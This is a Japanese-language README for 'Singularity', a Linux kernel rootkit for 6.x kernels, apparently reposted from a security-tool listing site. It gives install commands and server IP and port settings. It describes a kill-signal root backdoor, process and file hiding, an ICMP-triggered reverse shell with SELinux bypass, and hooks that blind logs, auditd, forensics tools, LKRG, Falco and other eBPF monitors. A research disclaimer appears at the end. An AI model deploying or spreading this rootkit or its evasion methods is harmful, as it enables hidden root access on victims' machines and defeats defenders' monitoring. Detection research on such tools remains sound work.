
"フォレンジックに少し仕事をさせてみないか?"
このプロジェクトは、私にとって特別な女性、Mocinhaからインスピレーションを得ました
Singularity は、モダンな6.xカーネル向けに設計された強力な Linux Kernel Module (LKM) ルートキットです。ftrace基盤を介した高度なシステムコールフックにより、包括的なステルス機能を提供します。
詳細研究記事(旧バージョン): Singularity: A Final Boss Linux Kernel Rootkit
EDR回避ケーススタディ: Bypassing Elastic EDR with Singularity
POCビデオ: Singularity vs eBPFセキュリティツール: Singularity vs eBPF security tools
SingularityフックによるeBPFセキュリティの突破: Breaking eBPF
Singularityは、カーネルレベルで動作する高度なルートキットであり、以下を提供します:
/sys/fs/cgroup/*/cgroup.procs経由の検出を防ぐCgroup PIDフィルタリングcd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
以上です。このモジュールは自動的に次のことを行います:
- lsmod、/proc/modules、/sys/module から自身を隠します
- カーネルの taint フラグをクリアします
- dmesg、journalctl -k、klogctl から機密文字列をフィルタリングします
- 隠しファイルとプロセスの保護を開始します
### 重要な注意事項
**このモジュールはロード後に自動的に自身を隠します**
**アンロード機能はありません - 削除するには再起動が必要です**
**まず VM でテストしてください - 再起動なしでは削除できません**
## 設定
### サーバーの IP とポートを設定する
**`include/core.h` を編集:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c を編集:```c
#define SRV_PORT "8081" // Change this to your desired port
**`modules/bpf_hook.c` を編集:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c を編集:```c
#define PORT 8081 // Must match SRV_PORT
**重要**: ネットワークの隠蔽とICMPリバースシェル機能を適切に機能させるには、すべてのポート定義が一致している必要があります。
## 使い方
### プロセスを隠す```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
プロセスは ps、top、htop、/proc、およびすべての監視ツールから見えなくなります。すべての子プロセスは自動的に追跡され、非表示になります。
設定されたパターンに一致するファイルは自動的に非表示になります:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Rootになる
**シグナルベースの方法:**```bash
kill -59 $$
id # uid=0(root)
設定したポート(デフォルト: 8081)上の接続は自動的に非表示になります:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
パケットは生ソケットレベル(tpacket_rcv)で破棄され、以下から隠蔽されます:
- /proc/net/* インターフェース(tcp、tcp6、udp、udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG クエリ(ss、lsof が使用)
- Netlink NETFILTER/conntrack メッセージ(conntrack ツールが使用)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP リバースシェル
自動SELinuxバイパスにより、リモートで隠しリバースシェルを起動する:
**1. リスナーを起動:**```bash
nc -lvnp 8081 # Use your configured port
2. ICMPトリガーを送信:```bash sudo python3 scripts/trigger.py <target_ip>
**3. rootシェルを取得する**(すべての子プロセスとともに自動的に隠され、SELinux enforcingモードが有効な場合はバイパスされる)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## 保護メカニズム
### Ftrace制御保護
ftraceを無効化しようとするすべての試みは、静かにインターセプトされブロックされます:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
保護対象システムコール: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (PID ごとのインテリジェントキャッシュ付き)
bpf_hook.c モジュールは、eBPF ベースのセキュリティツールに対する高度な検出回避システムを実装しています。BPF システムコールを完全にブロックするのではなく(それは検出の指紋となります)、カーネルレベルでデータを選択的にフィルタリングし、隠しプロセスと接続を eBPF プログラムから見えないようにします。
戦略: BPF システムコール自体ではなく、eBPF プログラムが使用するデータ収集・報告機能をインターセプトします。これにより、正規の eBPF ツールは通常どおり動作しつつ、隠されたリソースを認識できないようにします。
保護対象リソース:
インターセプトポイント:
このアプローチは、BPF 操作を完全にブロックした場合に発生するアラートをトリガーすることなく、eBPF セキュリティツールを無効化します。
ftrace_enabled および tracing_on へのアクセス試行における io_uring バイパスに対する保護。インテリジェントキャッシュ(PID ごとに1秒間のキャッシュ)により、繰り返しのプロセススキャンを防止し、オーバーヘッドを削減します。
すべてのカーネルログインターフェースから機密文字列をリアルタイムにフィルタリングします:
フィルタリング対象キーワード: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
注記: 隠し PID の監査メッセージは netlink レベルで破棄され、統計追跡が行われます(get_blocked_audit_count, get_total_audit_count)
Singularity は write システムコールをフックして、ディスクフォレンジックツールからの出力を検出・フィルタリングします:
動作の仕組み:
/dev/sda、/dev/nvme0n1 など)を開いているかどうかを検出しますdebugfs /dev/sda3 -R 'ls -l /home/user/singularity'
**検出パターン:**
- `debugfs:` 接頭辞
- 括弧付きのInodeリスト
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`
### プロセス隠蔽の実装
システムコールとカーネルインターフェースからの完全な隠蔽:
- /proc/[pid]/* (openat, readlinkatはブロック)
- getdents, getdents64 (ディレクトリ一覧がフィルタリング)
- stat, lstat, statx, newfstatat (メタデータが隠蔽)
- killシグナル0 (ESRCHを返す)
- getsid, getpgid, getpgrp (ESRCHを返す)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (ESRCHを返す)
- getpriority (ESRCHを返す)
- sysinfo (プロセス数が調整される)
- pidfd_open (ESRCHを返す)
- TaskStats netlinkクエリ (ESRCHを返す)
- cgroup.procsからCgroup PIDがフィルタリング
子プロセスはsched_process_forkトレースポイントフックにより自動的に追跡されます。
### LKRGバイパス
SingularityはLinux Kernel Runtime Guardに対する包括的な回避策を実装しています:
**バイパスされるチェック:**
- プロセスの資格情報検証 (p_cmp_creds)
- タスク構造の整合性チェック (p_cmp_tasks)
- 制御フロー整合性の検証 (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- カーネル整合性チェック (p_check_integrity)
- エクスプロイト検出サブシステム (p_exploit_detection_init)
- ユーザーモードヘルパーの追跡 (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- タスクのダンプと列挙 (p_dump_task_f, ed_task_add)
- Kprobe ftraceハンドラーのインターセプト
**機能:**
- LKRGの自動検出とフックのインストール
- プロセス系統の検証 (プロセスツリー全体を最大64階層まで隠蔽)
- リバースシェル操作のためのUMHバイパス
- LKRGのロードを検出するモジュール通知システム
隠蔽されたプロセスは、すべてのLKRG整合性検証メカニズムに対して不可視です。
### Falcoバイパス
Singularityは、eBPFベースのセキュリティツールが隠蔽されたプロセスやネットワーク接続を検出するのを防ぐ、包括的なアンチEDR防御システムを実装しています。この保護は、eBPFプログラムがデータの収集とレポートに使用するカーネル関数をインターセプトすることで機能します。
**防御対象:**
- Falco (イベントベースのランタイムセキュリティ)
- Tracee (セキュリティトレーシング)
- BPFバックエンドを使用するbpftoolおよびss
**多層インターセプト:**
1. **イテレータフィルタリング** (bpf_iter_run_prog)
- TCP/UDPイテレータから隠蔽ポート上のソケットをフィルタリング
- タスクイテレータからプロセスとその子プロセスを隠蔽
- `ss`やプロセス列挙ツールによる検出を防止
2. **リングバッファイベントブロッキング** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
- ヘッダーフォーマットを分析してFalcoイベント構造を検出
- 隠蔽PIDに対するイベントの割り当て、送信、出力をブロック
- システムコールイベントがFalcoユーザースペースエージェントに到達するのを防止
3. **BPFマップ操作** (bpf_map_lookup_elem, bpf_map_update_elem)
- eBPFがマップ内で隠蔽PIDを検索するとNULLを返す
- キーが隠蔽PIDであるマップ挿入を黙って破棄
- eBPFセキュリティツールが隠蔽プロセスを追跡するのを防止
4. **Perfイベント抑制** (perf_event_output, perf_trace_run_bpf_submit)
- 隠蔽プロセスからのperfベースのイベント送信をブロック
- レガシーeBPFツールがトレースデータを受信するのを防止
5. **Seqファイルフィルタリング** (bpf_seq_write, bpf_seq_printf)
- 書き込み前に出力データをスキャンして隠蔽PIDを探す
- eBPFイテレータが使用する/procインターフェースを介した漏洩を防止
6. **プログラム実行制御** (__bpf_prog_run)
- 隠蔽プロセスコンテキストで実行中のeBPFプログラム実行をブロック
- 隠蔽プロセス内部に対するeBPFベースのモニタリングをすべて防止
**ソケットと接続の隠蔽:**
- パフォーマンス向上のため隠蔽IPアドレスをキャッシュ
- 設定されたポートと設定されたIPに基づいてソケットをフィルタリング
- IPv4とIPv6の両方の接続を隠蔽
- イテレータレベルで動作 (データがeBPFプログラムに到達する前)
**プロセス系統の追跡:**
- 親プロセスのチェーンを最大10階層までトレース
- 隠蔽プロセスのすべての子孫を自動的に隠蔽
- 隠蔽後に生成された子プロセスが不可視のままであることを保証
隠蔽されたプロセスと接続は、eBPFセキュリティツールに可視なイベントを一切生成しません。
## バイパスされるセキュリティツール
**プロセス監視**: ps, top, htop, atop, pidof
**ファイルシステム**: ls, find, locate, stat, lstat, readlink, tree
**ディスクフォレンジック**: debugfs, e2fsck (writeフック経由で出力がフィルタリング)
**メモリフォレンジック**: Volatility, crash, gdb (/proc/kcoreフィルタリング経由)
**ネットワーク**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
**ログとトレース**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
**ルートキット検出ツール**: unhide, chkrootkit, rkhunter, OSSEC
**モジュール検出**: lsmod, modinfo, /sys/module, /proc/modules, kmod
**カーネルセキュリティ**: LKRG (Linux Kernel Runtime Guard)
**eBPFセキュリティツール**:
- Falco (ランタイムセキュリティモニタリング)
- Tracee (セキュリティトレーシング)
- bpftrace, bpftool (モニタリングに使用する場合)
**EDR/モニタリング**: io_uringベースのモニタ、一部のLinux EDRソリューション、auditd
## システムコールフック
| システムコール/関数 | モジュール | 目的 |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | ディレクトリエントリをフィルタリング、PIDを隠蔽 |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | ファイルメタデータを隠蔽、nlinkを調整 |
| getpriority | hiding_stat.c | 隠蔽PIDの優先度クエリを隠蔽 |
| openat | open.c | 隠蔽された/proc/[pid]へのアクセスをブロック |
| readlinkat | hiding_readlink.c | シンボリックリンクの解決をブロック |
| chdir | hiding_chdir.c | 隠蔽ディレクトリへのcdを防止 |
| read, pread64, readv, preadv | clear_taint_dmesg.c | カーネルログ、kcore、kallsyms、cgroup PID、nf_conntrackをフィルタリング |
| do_syslog | clear_taint_dmesg.c | klogctl()/syslog()カーネルリングバッファをフィルタリング |
| sched_debug_show | clear_taint_dmesg.c | スケジューラのデバッグ出力をフィルタリング |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | ftrace制御をブロック + ディスクフォレンジックをフィルタリング + journalctl出力をフィルタリング |
| sendfile, sendfile64, copy_file_range | hooks_write.c | 保護されたファイルへのファイルコピーをブロック |
| splice, vmsplice, tee | hooks_write.c | 保護されたファイルへのパイプベースの書き込みをブロック |
| io_uring_enter | hooks_write.c | PIDキャッシングによる非同期I/Oバイパスをブロック |
| kill | become_root.c | ルートトリガー + プロセス隠蔽 |
| getsid, getpgid, getpgrp | become_root.c | 隠蔽PIDに対してESRCHを返す |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | 隠蔽PIDに対してESRCHを返す |
| sysinfo | become_root.c | プロセス数を調整 |
| pidfd_open | become_root.c | 隠蔽PIDに対してESRCHを返す |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | /proc/netからTCP接続を隠蔽 |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | /proc/netからUDP接続を隠蔽 |
| tpacket_rcv | hiding_tcp.c | rawソケットレベルでパケットをドロップ |
| recvmsg, recvfrom | audit.c | netlink SOCK_DIAGおよびNETFILTERメッセージをフィルタリング |
| netlink_unicast | audit.c | 隠蔽PIDの監査メッセージをドロップ |
| audit_log_start | audit.c | 隠蔽プロセスの監査ログ作成をブロック |
| bpf | bpf_hook.c | 隠蔽PIDのeBPF操作をフィルタリング |
| bpf_iter_run_prog | bpf_hook.c | BPFイテレータから隠蔽プロセスを隠蔽 |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | BPF seqファイル出力をフィルタリング |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | リングバッファ経由でFalcoイベントをフィルタリング |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | BPFマップ操作をフィルタリング |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | 隠蔽プロセスのperfイベントをフィルタリング |
| __bpf_prog_run | bpf_hook.c | BPFプログラム実行をフィルタリング |
| icmp_rcv | icmp.c | SELinuxバイパス付きICMPトリガーリバースシェル |
| taskstats_user_cmd | task.c | 隠蔽PIDのTaskStatsクエリをブロック |
| sched_process_fork (tracepoint) | trace.c | 子プロセスを追跡 |
| kprobe_ftrace_handler | lkrg_bypass.c | LKRG kprobe検出をバイパス |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | LKRG資格情報チェックをバイパス |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | LKRG CFI検証をバイパス |
| p_check_integrity | lkrg_bypass.c | LKRG整合性チェックをバイパス |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | LKRGタスク列挙から隠蔽 |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | LKRG UMH追跡をバイパス |
| p_exploit_detection_init | lkrg_bypass.c | LKRGエクスプロイト検出をバイパス |
| tainted_mask (kthread) | reset_tainted.c | カーネルのテイントフラグをクリア |
| module_hide_current | hide_module.c | モジュールリストとsysfsから削除 |
**マルチアーキテクチャサポート**: x86_64 (`__x64_sys_*`) および ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)
## テスト済みカーネルバージョン
| カーネルバージョン | ディストリビューション | ステータス | 備考 |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | 安定 | 主な開発環境 |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | 安定 | RHELベースのカーネル |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | 安定 | Debianカーネル |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | 安定 | SELinux enforcingバイパス検証済み |
| 6.17.0-8-generic | Ubuntu 25.10 | 安定 | 新しい汎用カーネルで完全に機能 |
| 6.14.0-37-generic | Ubuntu 24.04 | 安定 | LKRGおよびFalcoバイパス検証済み |
| 6.12.25-amd64 | Kali Linux | 安定 | Kali 6.12.25-1kali1 |
## 種明かし
残念ながら、一部の人にとっては...
これらすべてのフィルタ、保護、フックがあっても、このルートキットを検出する方法はまだ存在します。
しかし、あなたが優秀なフォレンジックアナリスト、DFIR専門家、またはマルウェア研究者なら、その方法を自分で見つけ出してみてください。
これは修正しません。その方がずっとOP (強力) になるからです ;)
## クレジット
**Singularity** は **MatheuZSecurity** (Matheus Alves) によって作成されました
- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`
**Rootkit Researchersに参加**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)
### コードリファレンス
- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)
### 研究のインスピレーション
- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)
## コントリビューション
- 改善のためのプルリクエストを提出
- GitHub Issuesでバグを報告
- 新しい回避テクニックを提案
- 検出方法を共有 (研究用)
**バグを発見しましたか?** Issueを開くか、Discordで連絡してください:`kprobe`
**教育および研究目的専用**
Singularityは、カーネルレベルのステルステクニックの限界を探求するための研究プロジェクトとして作成されました。その目標は、ひとつの問いに答えることです:**「ルートキットは、システムへの侵入とロードに成功した場合、どこまで隠れることができるのか?」**
このプロジェクトは以下のために存在します:
- 攻撃的セキュリティ研究の限界を押し広げる
- 防御側が自分たちが直面している脅威を理解するのを助ける
- カーネル内部構造と回避テクニックに関する学習リソースを提供する
- セキュリティコミュニティの知識ベースに貢献する
**このソフトウェアの誤用について、私は一切の責任を負いません。** 悪意のある目的でSingularityを使用する場合は、自己責任です。このツールは、研究、教育、および許可を得たセキュリティテスト専用に、現状のまま提供されます。
所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみテストしてください。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です。
**研究者であれ、犯罪者であってはなりません。**
| インターフェース | フック | 状態 |
|---|
dmesg | /proc/kmsg への読み取りフック | フィルタリング済み |
journalctl -k | 書き込みフック(出力フィルタリング) | フィルタリング済み |
klogctl() / syslog() | do_syslog フック | フィルタリング済み |
/sys/kernel/debug/tracing/* | 読み取りフック | フィルタリング済み |
/var/log/kern.log, syslog, auth.log | 読み取りフック | フィルタリング済み |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo | 読み取りフック | フィルタリング済み |
/proc/net/nf_conntrack | 読み取りフック | フィルタリング済み |